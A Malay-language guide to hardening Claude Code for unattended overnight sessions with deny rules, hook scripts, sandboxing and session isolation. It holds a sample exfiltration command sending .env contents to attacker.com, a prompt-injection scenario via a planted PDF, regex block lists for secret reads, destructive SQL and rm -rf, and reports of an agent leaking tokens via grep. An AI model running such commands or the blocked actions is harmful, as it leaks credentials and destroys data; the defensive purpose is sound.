Cara Mengkonfigurasi Claude Code Supaya Ia Tidak Merosakkan Projek Anda Semalaman

Perubahan pada 2026: Claude Code Autonomi dan Insiden Sebenar#

Sebelum ini, Claude Code berhenti selepas setiap respons dan meminta kebenaran untuk setiap penulisan. Memang menyusahkan, tetapi selamat: anda tidak mungkin terlelap ketika berlaku insiden kerana ejen akan menunggu jawapan “ya” daripada anda. Pada 2026, model itu berubah. Anthropic memperkenalkan auto-mode—ejen pengelas berasingan membuat keputusan bagi pihak anda sama ada setiap tindakan patut dibenarkan. Perintah /loop muncul (menjalankan arahan pada selang masa dalam satu sesi), begitu juga /schedule (penjadualan gaya cron untuk tugasan yang berjalan lama). Sesi latar belakang yang dilancarkan dengan claude --bg menjalankan ejen di latar belakang tanpa terminal. Saya menghuraikan mod autonomi dengan terperinci dalam panduan “/goal dalam Claude Code: Mod Autonomi dan Paparan Ejen”.

Masalahnya, autonomi dilancarkan lebih pantas daripada perkembangan keselamatannya.

Pada masa yang sama, terdapat dua pepijat terbuka dalam repositori Anthropic yang patut anda ketahui sebelum menambahkan permissions.deny pada settings.json:

• Isu #44868 (7 April 2026): Claude Code membaca kandungan .env menggunakan grep -n lalu memasukkannya ke dalam transkrip sembang, walaupun terdapat larangan jelas dalam CLAUDE.md. Pepijat ini masih terbuka.
• Isu #24846 (11 Februari 2026): peraturan permissions.read.deny untuk pola .env* tidak digunakan—Read membaca .env.local walaupun pola larangan telah ditetapkan dengan betul. Isu ini ditutup sebagai pendua, bukan dibaiki.

Dua kelemahan ini menunjukkan satu lapisan perlindungan dalam settings.json tidak mencukupi. Seterusnya model empat lapisan: kebenaran + hook + sandbox + pengasingan sesi. Setiap satu boleh mengurangkan pendedahan, tetapi tidak menjadikan lapisan lain lengkap. Penilaian auto-mode dipetik tidak membuktikan hook regex menangkap kes terlepasnya. Untuk produksi, gunakan persekitaran OS terasing tanpa kelayakan atau akses tulis produksi, kuatkuasakan sekatan rangkaian di luar model dan uji sempadan itu sebelum pelaksanaan tanpa pengawasan.

Apakah Zon Projek Hijau dan Merah?#

Tidak perlu membina perlindungan yang sama untuk setiap projek. Projek peribadi setempat pada mesin anda yang tidak digunakan secara luaran mempunyai tahap risiko yang sama sekali berbeza daripada perkhidmatan yang mengendalikan pembayaran sebenar dan menyimpan data pelanggan. Jika anda menggunakan perlindungan yang sama di mana-mana, anda akan memperlahankan kerja di zon hijau, tetapi masih meninggalkan kelemahan di zon merah.

Sebuah projek bertukar daripada hijau kepada merah sebaik sahaja sekurang-kurangnya satu daripada tiga syarat dipenuhi: pelanggan sebenar mula menggunakannya, wang mula mengalir melalui sistem, atau pangkalan datanya mengandungi data peribadi orang. Sehingga itu, anda boleh menggunakan auto-mode, hooks minimum dan tanpa sandbox. Selepas itu, perlindungan perlu dibina semula mengikut persediaan penuh dalam panduan ini.

Prinsip utamanya: tahap perlindungan ditentukan oleh zon. Peringkat pembangunan tidak penting. Projek peribadi pada mesin anda dengan akaun Stripe ujian berada di zon hijau. Perkhidmatan dengan seorang pelanggan berbayar dan borang pendaftaran sudah berada di zon merah, walaupun masih kelihatan seperti “draf.” Mengelirukan kedua-dua zon ini ialah perangkap biasa bagi projek awal: “kita masih dalam peringkat draf, kita akan tambah perlindungan kemudian,” kemudian pelanggan pertama membuat pembayaran pada minggu berikutnya.

Bagaimanakah Hierarki Kebenaran Berfungsi dalam settings.json?#

Anthropic menerangkan hierarki penilaian kebenaran dalam dokumentasi rasmi: peraturan deny disemak dahulu, kemudian ask, kemudian allow—peraturan pertama yang sepadan akan digunakan. Ini bermakna deny sentiasa mengatasi allow. Jika anda melarang pembacaan .env dalam ~/.claude/settings.json, dan seseorang menetapkan allow dalam .claude/settings.json projek itu, larangan anda tetap berkuat kuasa, bukannya kebenaran mereka.

Contoh ~/.claude/settings.json minimum yang selamat pada peringkat pengguna:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Apakah yang berlaku di sini? Enam peraturan pertama menyekat pembacaan fail rahsia dalam direktori semasa dan semua subdirektori. *.pem dan *.key ialah kunci SSL/TLS dan kunci SSH. credentials*.json ialah nama fail lazim yang digunakan oleh penyedia awan. Tiga peraturan terakhir meliputi direktori sistem yang mengandungi kunci SSH, kelayakan AWS dan kunci GPG.

Kunci disableBypassPermissionsMode: "disable" menyekat bendera --dangerously-skip-permissions (juga dikenali sebagai mod YOLO). Ini menghapuskan satu jenis kesilapan buat selama-lamanya: walaupun anda tertambah bendera itu secara tidak sengaja dalam skrip atau alias, Claude Code akan menolaknya. Ia bukan sekadar membuang bendera itu—ia akan memulangkan ralat “mode disabled by managed settings.”

Selain itu, mulai versi 2.1.142, kunci defaultMode: "auto" diabaikan jika ia berada dalam tetapan projek atau setempat. Ini melindungi anda daripada situasi “saya masuk ke repositori orang lain dan .claude/settings.json di dalamnya menetapkan mod automatik sebagai lalai.” Anthropic menyatakan secara jelas bahawa repositori tidak boleh mengaktifkan auto-mode tanpa persetujuan pengguna.

Ini ialah barisan perlindungan pertama. Anda tidak boleh berhenti setakat ini kerana terdapat dua kelemahan yang akan anda ketahui selepas ini.

Mengapa permissions.deny Tidak Mencukupi: 2 Isu GitHub Terbuka#

Jika permissions.deny berfungsi, panduan ini boleh berakhir dalam bahagian sebelumnya. Tetapi ia tidak berfungsi dengan sempurna.

Isu #44868 (7 April 2026): pengguna itu menambahkan larangan yang jelas dalam CLAUDE.md terhadap pembacaan .env, .dev.vars dan fail lain yang mengandungi rahsia. Daripada menggunakan Read, Claude menjalankan grep -n SOMETHING .env. Perintah grep -n mencetak seluruh baris yang sepadan berserta nombornya—termasuk token API sebenar. Baris itu masuk ke dalam tool_result, dipaparkan dalam transkrip sesi dan disimpan dalam sejarah.

Perkara halus yang diberi perhatian oleh penulis: tindak balas keselamatan model tercetus selepas output dihasilkan, bukannya sebelum perintah dijalankan. Dalam erti kata lain, Claude mula-mula menjalankan grep, mendapat baris yang mengandungi token itu dan mencetaknya dalam sembang—kemudian barulah ia menyedari kesilapannya lalu “meminta maaf.” Pada masa itu, token tersebut sudah pun berada dalam sejarah sembang. Satu-satunya penyelesaian ialah menggantikan kunci itu.

Isu #24846 (11 Februari 2026): pengguna mengkonfigurasi permissions.read.deny dengan senarai yang mengandungi pola **/.env*. Kemudian mereka meminta Claude membaca .env.local. Alat Read selesai tanpa ralat dan mencetak kandungan fail tersebut.

Isu itu ditutup sebagai pendua, tetapi tidak dibaiki. Setakat panduan ini ditulis (Jun 2026), isu itu masih boleh dihasilkan semula.

Kesimpulannya: Lapisan 1 dalam settings.json bukan usaha sia-sia, tetapi contoh ini tidak mengukur bahagian pembacaan tidak sengaja yang dicegahnya. Tetapi ia tidak menghalang perintah melalui Bash (cat .env, grep API_KEY .env, head .env), pepijat penguatkuasaan (isu #24846), atau rantaian pintar menggunakan git diff atau git show pada komit yang mengandungi .env. Sebab itulah anda memerlukan lapisan kedua—hooks.

Bagaimanakah Hook Boleh Menyekat Tindakan Berbahaya Dikenal Pasti?#

Hooks berfungsi pada tahap abstraksi yang berbeza daripada kebenaran. Kebenaran ialah peraturan yang dipertimbangkan oleh model semasa membuat keputusan. Hook berfungsi dengan cara berbeza: model memutuskan untuk memanggil alat, hook berjalan di antara model dengan sistem, menyemak input dan sama ada membenarkan atau menyekatnya. Model tidak terlibat dalam keputusan hook—ia ialah kod shell yang anda tulis sendiri.

Anthropic menerangkan tingkah laku penyekatan dalam dokumentasi rasmi hooks:

Ini membawa dua maksud. Pertama, hook penyekat yang dikonfigurasi dengan betul boleh menolak panggilan alat sepadan. Untuk PreToolUse, kod keluar 2 menyekat panggilan itu; ia tidak membuktikan skrip mengenal pasti setiap arahan setara berbahaya. Kedua, anda boleh meletakkan mesej bermakna dalam stderr, dan Claude akan membacanya sebagai ralat lalu cuba pendekatan lain. Dalam erti kata lain, hook bukan sekadar “pagar”; ia ialah “pagar dengan papan tanda yang menerangkan sebab anda tidak boleh melaluinya.”

Peristiwa yang boleh disekat dengan kod keluar 2:

• PreToolUse—menyekat panggilan alat sebelum pelaksanaan. Peristiwa utama untuk hooks perlindungan.
• PermissionRequest—menolak kebenaran untuk tindakan yang diminta oleh Claude.
• UserPromptSubmit—menyekat dan memadamkan arahan pengguna. Berguna jika arahan itu mengandungi teks yang mencurigakan (contohnya, suntikan arahan daripada e-mel yang ditanam).
• Stop—menghalang Claude daripada menamatkan sesi. Boleh digunakan sebagai “gelung” untuk memastikan ejen terus bekerja sehingga syarat dipenuhi.
• PreCompact—menyekat pemadatan konteks automatik. Berguna jika anda mahu mengekalkan transkrip sehingga keputusan dibuat secara manual.
• WorktreeCreate—menolak penciptaan worktree. Melindungi daripada Claude yang cuba mengklon repositori di lokasi yang tidak dijangka.

Alternatif kepada kod keluar 2 ialah memulangkan JSON dengan medan hookSpecificOutput.permissionDecision. permissionDecision mempunyai empat nilai yang mungkin:

• allow—membenarkan tindakan secara jelas, memintas aliran kebenaran biasa.
• deny—menyekat tindakan, bersamaan dengan kod keluar 2 untuk PreToolUse.
• ask—meminta keputusan pengguna (dialog akan muncul).
• defer—menyerahkan keputusan kepada logik kebenaran biasa.

Ini memberikan hook lebih banyak kawalan berbanding kod keluar. Dengan permissionDecision: "ask", anda boleh menukar operasi senyap kepada operasi yang memerlukan pengesahan tanpa menyekatnya terus. Itulah yang saya lakukan untuk npm install <new package> dan perubahan lockfile.

Jika anda mahu mengetahui lebih lanjut tentang cara hooks berfungsi dan 31 peristiwa yang tersedia dalam Claude Code sekarang, saya menghuraikannya dalam panduan berasingan “Hooks dalam Claude Code: 7 Peraturan Sedia untuk Disalin”. Seterusnya, saya akan memberikan hooks khusus untuk kerja autonomi.

7 Hooks Apakah yang Saya Gunakan untuk Kerja Semalaman?#

Ini ialah lapisan perlindungan kedua yang menyokong lapisan pertama. Semua hooks diletakkan dalam .claude/hooks/, didaftarkan melalui .claude/settings.json dan memerlukan jq dipasang.

Hook 1: Lindungi .env, .pem dan credentials.json daripada Dibaca

Menambah pemeriksaan laluan Read terpilih dan arahan baca rahsia Bash biasa. Ia tidak menangkap setiap alat atau setiap cara membaca rahsia. Fail: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Pendaftaran dalam .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Selepas pemasangan, jalankan chmod +x .claude/hooks/block-secret-reads.sh. Ujian: minta Claude membaca .env.local—anda akan mendapat respons “Secret file. Use op:// references or env vars.” dan bukannya kandungan fail itu.

Hook 2: Sekat panggilan git push literal dalam sesi semalaman

Untuk sesi tanpa pengawasan, contoh ini menyekat secara konservatif setiap git push literal yang dikenal pastinya, termasuk push ke cabang ciri. Ia tidak cuba menyimpulkan cabang semasa atau menentukan bendera force selamat. Fail: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Daftarkan melalui PreToolUse dengan matcher Bash. Oleh sebab ia menyekat arahan push dikenal pasti daripada menghuraikan bendera dan nama cabang, ia menangkap git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main dan push literal dalam rantaian && atau ;. Ini contoh padanan rentetan luar talian, bukan arahan untuk dijalankan terhadap remote.

Ini kekal heuristik teks. Alias Git, fungsi shell, git -C ... push, nama arahan dibina, skrip dan alat lain boleh melepasi; ia bukan penghuraian shell lengkap. Kuatkuasakan peraturan cabang dilindungi di pelayan Git, buang kelayakan yang boleh memintasnya dan jalankan kerja tanpa pengawasan dalam persekitaran terasing tanpa akses tulis produksi. Padanan hook terlepas tidak boleh memberikan kuasa produksi.

Hook 3: Sekat Operasi SQL yang Memusnahkan Data

Menangani secara langsung insiden pangkalan data terpadam. Fail: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Daftarkan dengan PreToolUse dan matcher: "Bash". Perhatikan perbezaannya: DROP dan DELETE tanpa WHERE disekat sepenuhnya, manakala UPDATE tanpa WHERE menggunakan ask—tindakan itu mungkin sah pada masa tertentu (contohnya, menetapkan bendera pada semua rekod dalam migrasi), tetapi sentiasa memerlukan pengesahan manual.

Hook 4: Penapis rm -rf

Contoh kanonik daripada dokumentasi Anthropic yang disesuaikan supaya menolak tindakan dengan sebab:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook membenarkan rm -rf node_modules, rm -rf .next/cache dan pemadaman lain yang skopnya dinyatakan secara khusus. Ia menyekat rm -rf ., rm -rf /, rm -rf ~ dan perintah seumpamanya yang “menghapuskan semuanya.”

Hook 5: Sahkan Pemasangan Pakej Baharu

Hook ini menangani serangan rantaian bekalan. Jika Claude memutuskan sendiri untuk menambah kebergantungan baharu, dialog akan muncul:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hook ini membenarkan pemasangan daripada lockfile berjalan bebas, sementara penambahan kebergantungan baharu memerlukan pengesahan.

Hook 6: Lindungi package.json dan Lockfile

Sebarang perubahan kepada manifes kebergantungan ialah petanda bahawa seseorang patut menyemaknya. Terutamanya pada waktu malam.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Daftarkan dengan PreToolUse dan matcher Write|Edit.

Hook 7: Log Audit Menyeluruh bagi Semua Panggilan Bash

Jika berlaku sesuatu pada waktu malam, anda memerlukan log lengkap untuk memahami urutan peristiwa. Daftarkan dalam settings.json (hook ini tiada skrip berasingan; jq melakukan semuanya):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Fail .claude/audit.jsonl bertambah satu baris pada satu-satu masa. Pada waktu pagi, selepas /loop semalaman, anda boleh menjalankan tail -n 100 .claude/audit.jsonl | jq untuk melihat tindakan ejen pada setiap peringkat. Ini penting untuk analisis selepas insiden kerana transkrip sesi boleh menjadi panjang dan sukar dibaca, sedangkan log audit memberikan garis masa yang jelas.

Bagaimanakah Pengasingan Sandbox dan Worktree Melindungi Sesi Panjang?#

Jika hooks ialah “pagar dengan papan tanda,” sandbox pula ialah “pagar + parit + jaring dron.” Ini lapisan perlindungan keempat yang meliputi keadaan apabila hooks membenarkan sesuatu tindakan, tetapi tindakan itu tetap tidak sepatutnya boleh memudaratkan perkara di luar persekitaran tersebut.

Dalam catatan blog tentang sandbox (20 Oktober 2025), Anthropic melaporkan ukuran dalaman:

Ini bermakna apabila anda mengaktifkan /sandbox, Claude berhenti meminta kebenaran untuk 84% tindakan kerana tindakan tersebut secara fizikal tidak dapat keluar daripada sandbox. Ini berguna untuk meningkatkan kelajuan, tetapi bukan manfaat utamanya.

Sandbox menyediakan dua tahap pengasingan, masing-masing dengan peranan tersendiri:

Pengasingan sistem fail mengehadkan pembacaan dan penulisan kepada direktori yang dibenarkan secara jelas. Walaupun hook terlepas percubaan menulis ke /etc/hosts atau membaca ~/.ssh/id_rsa, sandbox tidak akan membenarkan panggilan sistem itu diteruskan. Ini perlindungan pada peringkat sistem pengendalian. Lapisan aplikasi tidak dapat melihatnya.

Pengasingan rangkaian membenarkan sambungan hanya kepada pelayan yang diluluskan. Ini penting untuk mencegah serangan penghantaran keluar data. Senario: suntikan arahan dalam fail yang ditanam memperdaya Claude supaya membaca .env (hook terlepas kerana pembacaan menggunakan laluan yang luar biasa), kemudian model memutuskan untuk menjalankan curl -X POST attacker.com -d "$ENV_CONTENT". Tanpa pengasingan rangkaian, tindakan ini berjaya. Dengan pengasingan rangkaian, curl tidak dapat menghubungi attacker.com kerana hos itu tiada dalam senarai.

Mulakannya dengan perintah /sandbox dalam Claude Code. Konfigurasikannya dalam ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Untuk sesi latar belakang panjang yang dilancarkan dengan claude --bg, tambahkan pengasingan worktree pada sandbox. Ini mekanisme asli Claude Code: setiap sesi latar belakang secara automatik dipindahkan ke .claude/worktrees/<name>/ sendiri pada cabang berasingan. Ini bermakna sesi selari tidak akan mengganggu satu sama lain ketika menulis pada fail yang sama. Saya menghuraikan pengasingan worktree dengan terperinci dalam panduan “Paparan Ejen dan Worktree: Mod Autonomi Claude Code”.

Sandbox ialah sebahagian daripada gelung maklum balas. Apabila Claude tahu tindakannya dibatasi, ia bekerja dengan lebih teliti dan menyatakan langkah perantaranya dengan lebih jelas.

Di Manakah auto-mode Berfungsi pada 2026, dan Di Manakah Ia Tidak Berfungsi?#

Pada Mac 2026, Anthropic memperkenalkan auto-mode sebagai “jalan tengah antara semakan manual dengan ketiadaan kawalan keselamatan.” Ia ialah model Sonnet 4.6 berasingan yang menilai setiap tindakan Claude berdasarkan satu set kriteria sebelum pelaksanaan. Anthropic menerangkan mekanismenya dalam blog Anthropic Engineering:

Auto-mode mempunyai dua had penting:

• Jika sesi mengumpulkan 3 penolakan pengelas berturut-turut atau 20 penolakan keseluruhannya, model akan berhenti dan menyerahkan keputusan kepada manusia. Ini melindungi daripada keadaan “Claude berulang kali cuba memintas sekatan dengan 100 cara berbeza untuk menyatakan perintah yang sama.”
• Auto-mode membenarkan tindakan jika tindakan itu menyerupai 93% kes lazim yang pengguna akan luluskan juga. Ini mengurangkan keletihan akibat permintaan kebenaran, tetapi tidak melindungi daripada tindakan berbahaya yang luar biasa.

Inilah angka utama yang perlu diberi perhatian:

17% dilaporkan ialah kadar negatif palsu dalam penilaian itu, bukan kebarangkalian setiap tindakan pada projek anda. Ia tidak membuktikan hook contoh menangkap tindakan terlepas. Di zon merah, kerja tanpa pengawasan memerlukan pengasingan dikuatkuasakan daripada tulis produksi dan rahsia, serta cabang dilindungi pihak pelayan dengan kelayakan yang tidak boleh memintas peraturannya.

Kesimpulan praktikal: gunakan hook sebagai pemeriksaan tambahan dalam persekitaran boleh dibuang dan dipulihkan. Projek setempat pun boleh mengandungi fail tidak dijejaki atau kelayakan yang tidak boleh dipulihkan Git. Di zon merah, kes terlepas hook mesti dibendung kawalan akses sebenar; koleksi regex tidak menukar pelaksanaan shell sewenang-wenangnya menjadi jaminan keselamatan deterministik.

Mengapa Konteks Perlu Diasingkan kepada Tiga Jenis Sesi?#

Tiga jenis tugasan ini tidak patut berada dalam sesi yang sama:

Jenis 1: bekerja dengan data peribadi. Sesi ini mempunyai akses kepada pangkalan data produksi, boleh menghantar e-mel dan boleh melihat kelayakan. Sesi ini TIDAK mempunyai akses kepada dokumen luaran (e-mel, PDF, halaman web) dan TIDAK BOLEH menghantar data ke alamat sewenang-wenangnya.

Jenis 2: memproses dokumen luaran. Sesi ini boleh menghurai e-mel masuk, memuat turun halaman web dan membaca PDF daripada e-mel. Sesi ini TIDAK mempunyai akses kepada pangkalan data yang mengandungi data peribadi dan TIDAK BOLEH menghantar apa-apa ke luar tanpa pengesahan jelas.

Jenis 3: menerbitkan kandungan secara luaran. Sesi ini boleh membuat hantaran di rangkaian sosial, menghantar kempen e-mel dan mencipta pull request. Sesi ini TIDAK mempunyai akses kepada data peribadi dan TIDAK menghurai kandungan masuk.

Mengapa perlu diasingkan? Jika satu sesi melakukan semuanya, satu suntikan arahan dalam PDF yang ditanam (agensi pesaing menghantar “invois”) sudah cukup untuk menyebabkan ejen membaca pangkalan data pelanggan anda, mencari alamat e-mel mereka dan menghantarnya ke alamat penyerang. Setiap tindakan dalam rantaian itu sah untuk jenis tugasan masing-masing. Apabila digabungkan, ia menjadi kebocoran.

Dalam praktik, perkara ini dilaksanakan dengan direktori .claude yang berbeza bagi setiap jenis tugasan. Sebagai contoh, gunakan tiga konfigurasi: ~/projects/business-ops/.claude/ (jenis 1, akses pangkalan data, rangkaian disekat kecuali API dalaman), ~/projects/inbox-parsing/.claude/ (jenis 2, semua rangkaian disekat), ~/projects/social-posting/.claude/ (jenis 3, rangkaian dibenarkan untuk API Telegram, rangkaian sosial dan Slack). Setiap direktori ialah projek Claude Code berasingan dengan kebenaran dan hooks tersendiri.

Apakah 12 Perkara dalam Senarai Semak yang Saya Periksa Sebelum /loop?#

1. ~/.claude/settings.json dengan deny pada peringkat pengguna untuk .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Ini asasnya; yang lain tidak berguna tanpanya.

2. disableBypassPermissionsMode: "disable" dalam ~/.claude/settings.json. Menyekat bendera YOLO buat selama-lamanya.

3. Contoh block-secret-reads.sh telah diuji pada arahan baca rahsia terpilih; rahsia sebenar dan kelayakan produksi tidak boleh dicapai persekitaran tanpa pengawasan.

4. Contoh block-force-push.sh menyekat push literal dikenal pasti tanpa mengira turutan bendera atau destinasi; cabang dilindungi dan kelayakan tanpa pintasan dikuatkuasakan pelayan Git.

5. Hook block-destructive-sql.sh untuk DROP TABLE, TRUNCATE dan DELETE FROM tanpa WHERE.

6. Hook block-rm-rf.sh untuk rm -rf tanpa skop yang dinyatakan secara jelas.

7. Hook ask-on-new-deps.sh untuk npm install <new package> (berbeza daripada npm install tanpa hujah).

8. Hook ask-on-lockfile-change.sh untuk penulisan pada package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml dan Cargo.toml.

9. Log audit.jsonl menyeluruh bagi semua panggilan Bash, Write dan Edit. Tanpanya, analisis selepas insiden mustahil dilakukan.

10. Semua sesi latar belakang yang panjang berjalan dalam worktree, bukan pada cabang main: claude --bg "task" mencipta worktree secara automatik, tetapi pastikan settings.json tidak mengandungi worktree.bgIsolation: "none".

11. /sandbox sebelum melancarkan tugasan autonomi yang panjang. Sistem fail dihadkan kepada direktori projek dan /tmp. Rangkaian menggunakan senarai yang membenarkan api.anthropic.com, github.com dan registry.npmjs.org.

12. Langkah pengesahan dalam tugasan: selepas setiap perubahan besar, jalankan test runner atau linter. Jika gagal, ejen tidak meneruskan tugasan sehingga masalah itu dibaiki.

Perkara terakhir ialah corak kerja, bukannya tetapan alat. Beri Claude cara untuk menyemak kerjanya. Tanpa pengesahan, ejen semalaman berulang kali berfikir “rasanya saya dah buat dengan betul, teruskan,” lalu kesilapan terkumpul hingga pagi. Dengan pengesahan, ia tidak akan meneruskan sehingga semakan lulus.

7 Antipola: Perkara yang JANGAN Dilakukan#

1. --dangerously-skip-permissions pada mesin hos yang mempunyai akses produksi. Browningstreet kehilangan pangkalan data produksi dan pembangunan dengan satu perintah “mengemas.” Kesilapan itu boleh mengakibatkan pemulihan berjam-jam serta kehilangan data yang tiada dalam sandaran. Jika insiden sudah berlaku, buka “Perkara yang Perlu Dilakukan jika AI Memadam Pangkalan Data: Senarai Semak Pemulihan” dan ikut 10 langkah mengikut turutan.

2. Bergantung sepenuhnya pada CLAUDE.md untuk keselamatan. Isu #44868 membuktikan bahawa model bertindak dahulu dan meminta maaf kemudian. Arahan nasihat dalam fail teks tidak menyekat panggilan alat. Hook yang dikonfigurasi dengan betul boleh menyekat panggilan sepadan, sementara kawalan akses OS, sandbox dan pihak perkhidmatan menguatkuasakan sempadan lebih luas. CLAUDE.md penting untuk konteks projek—saya menulis tentangnya secara berasingan dalam “Cara Mengkonfigurasi CLAUDE.md dengan Betul”—tetapi ia tidak melindungi anda daripada ejen autonomi.

3. Bergantung sepenuhnya pada permissions.deny dalam settings.json tanpa hook tambahan. Isu #24846 telah terbuka sejak Februari 2026. Larangan untuk .env* boleh dipintas melalui grep dalam Bash. Hook boleh menambah pemeriksaan, tetapi rahsia juga mesti dikecualikan daripada persekitaran tanpa pengawasan; regex bukan pengganti lengkap kawalan akses.

4. Menganggap auto-mode bersama hook regex sebagai pengasingan produksi. Kadar negatif palsu dipetik khusus penilaian itu, dan liputan hook tidak lengkap. Buang kelayakan tulis produksi serta sahkan sempadan dikuatkuasakan daripada menganggap setiap tindakan berbahaya akan dipintas.

5. Memasang pakej baharu dengan npm install tanpa pengesahan. Serangan rantaian bekalan memang berlaku. Insiden Tea-tags pada 2024–2026 menunjukkan kewujudan pakej yang menggunakan nama hampir serupa dengan pakej sah dan mempunyai beribu-ribu muat turun. Anda memerlukan senarai yang dibenarkan.

6. Tidak merekod panggilan Bash. Tanpa log audit, anda tidak akan dapat memahami apa yang berlaku semalaman. Transkrip sembang panjang, tidak diindeks mengikut perintah dan tidak memberikan garis masa. .claude/audit.jsonl menyelesaikan kedua-dua masalah itu.

7. Tidak menggunakan worktree untuk sesi latar belakang. Sesi selari dalam direktori yang sama akan mengganggu kerja satu sama lain. Claude Code mempunyai worktree.bgIsolation, yang diaktifkan secara lalai sejak versi 2.1.143, tetapi semak tetapan anda.

Dan perkara utama yang tidak dapat dicegah oleh mana-mana hook atau tetapan:

Frasa itu bukan tentang gaya bahasa. Orang yang bertanggungjawab melindungi produksi ialah orang yang melancarkan ejen. Claude Code berfungsi seperti pisau cukur bermata lurus: anda boleh bercukur dengannya, dan anda juga boleh terluka dengannya. Konfigurasi menjawab satu soalan: adakah anda sudah menyediakan persekitaran dengan cukup baik supaya pisau cukur itu tidak memotong apa-apa yang tidak sepatutnya?

Lebih banyak sumber tersedia di Ailoot.